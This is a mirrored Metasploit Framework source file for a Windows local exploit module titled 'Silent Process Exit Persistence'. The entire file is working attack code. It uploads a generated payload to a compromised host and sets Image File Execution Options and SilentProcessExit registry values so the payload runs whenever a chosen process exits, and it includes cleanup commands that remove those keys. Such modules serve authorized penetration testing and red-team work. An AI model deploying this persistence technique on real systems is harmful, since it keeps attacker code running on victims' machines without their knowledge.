Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/image_exec_options.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Windows::Registry
10
include Msf::Post::File
11
include Msf::Exploit::EXE
12
include Msf::Post::Windows::Priv
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/windows/local/persistence_image_exec_options'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Windows Silent Process Exit Persistence',
23
'Description' => %q{
24
Windows allows you to set up a debug process when a process exits.
25
This module uploads a payload and declares that it is the debug
26
process to launch when a specified process exits.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Mithun Shanbhag', # earliest author found
31
'bwatters-r7', # msf module
32
],
33
'Platform' => [ 'win' ],
34
'SessionTypes' => [ 'meterpreter' ],
35
'Targets' => [
36
[ 'Automatic', {} ]
37
],
38
'DefaultTarget' => 0,
39
'DisclosureDate' => '2008-06-28',
40
'Privileged' => true,
41
'References' => [
42
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
43
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
44
],
45
'Compat' => {
46
'Meterpreter' => {
47
'Commands' => %w[
48
stdapi_sys_config_getenv
49
]
50
}
51
},
52
'Notes' => {
53
'Stability' => [CRASH_SAFE],
54
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
55
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
56
}
57
)
58
)
59
register_options([
60
OptString.new('PAYLOAD_NAME',
61
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
62
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
63
64
])
65
end
66
67
def writable_dir
68
d = super
69
return session.sys.config.getenv(d) if d.start_with?('%')
70
71
d
72
end
73
74
def check
75
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
76
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
77
78
return CheckCode::Safe('You must be System to run this Module') unless is_system?
79
80
CheckCode::Appears('Likely exploitable')
81
end
82
83
def upload_payload(dest_pathname)
84
payload_exe = generate_payload_exe
85
write_file(dest_pathname, payload_exe)
86
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
87
end
88
89
def validate_active_host
90
unless is_system?
91
fail_with(Failure::NoAccess, 'You must be System to run this Module')
92
end
93
94
begin
95
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
96
rescue Rex::Post::Meterpreter::RequestError => e
97
elog(e)
98
raise Msf::Exploit::Failed, 'Could not connect to session'
99
end
100
end
101
102
def write_reg_keys(image_file, payload_pathname)
103
reg_keys = []
104
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
105
value_name: 'GlobalFlag',
106
type: 'REG_DWORD',
107
value_value: 512)
108
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
109
value_name: 'ReportingMode',
110
type: 'REG_DWORD',
111
value_value: 1)
112
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
113
value_name: 'MonitorProcess',
114
type: 'REG_SZ',
115
value_value: payload_pathname)
116
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
117
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
118
reg_keys.each do |key|
119
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
120
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
121
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
122
unless registry_getvalinfo(key[:key_name], key[:value_name])
123
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
124
return false
125
end
126
end
127
end
128
129
def install_persistence
130
validate_active_host
131
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
132
temp_path = writable_dir
133
image_file = datastore['IMAGE_FILE']
134
payload_pathname = temp_path + '\\' + payload_name + '.exe'
135
vprint_status("Payload pathname = #{payload_pathname}")
136
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
137
@clean_up_rc << "rm #{payload_pathname}\n"
138
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
139
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
140
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
141
end
142
end
143
144